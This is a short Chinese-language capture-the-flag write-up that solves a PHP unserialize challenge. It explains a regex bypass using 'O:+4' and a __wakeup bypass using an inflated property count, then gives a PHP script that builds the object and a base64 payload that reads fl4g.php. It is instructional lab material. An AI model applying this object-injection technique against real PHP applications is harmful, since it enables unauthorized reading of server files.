先简单看一下php代码。
发现关键点,flag应该就在这里(fl4g.php)
所以我们可以修改类里面file变量的值。
然后利用这个语句把flag内容显示出来。
但是要先解决base64解密,再绕过正则和wakeup魔术方法。
---
---
- 解决base64解密
很简单,对我们输入的序列化字符串base64加密一下就好了。
- 绕过正则
/[oc]:\d+:/i。意思是过滤这两种情况:o:数字:与c:数字:这种情况是用+(加号)绕过的,如:o:+。
- 绕过wakeup魔术方法:
只存在于版本:PHP5 < 5.6.25、PHP7 < 7.0.10
在进行unserialize的时候,首先查看有无该函数有的话
就会先执行他。
一个字符串或对象被序列化后,如果其属性被修改,则不会执行__wakeup()函数。
绕过方式:
当序列化字符串中属性值个数大于属性个数,就会导致反序列化异常,从而跳过__wakeup()。
例如:O:4:"User":2:{s:3:"age";i:20;s:4:"name";s:4:"daye";}中将变量个数2(s:3:"age";表示第一个变量的名字,i:20;表示第一个变量的值,因此像这种东西,都是成对出现的,几对就有几个变量)修改为3即可。
开始解题:
构造exp
<?php class Demo { private $file = 'fl4g.php'; } $j17 = new Demo(); $a = serialize($j17); $a = str_replace('O:4', 'O:+4',$a); $a = str_replace(':1:', ':2:',$a); echo $a; echo base64_encode($a); //echo urlencode($a) ?>
注意一下:private序列化之后会在变量名前加上\x00类名\x00,输出时一般需要url编码,若在本地存储更推荐采用base64编码的形式。这里可以直接在程序里面base64编码。
Payload:
?var=TzorNDoiRGVtbyI6Mjp7czoxMDoiAERlbW8AZmlsZSI7czo4OiJmbDRnLnBocCI7fQ==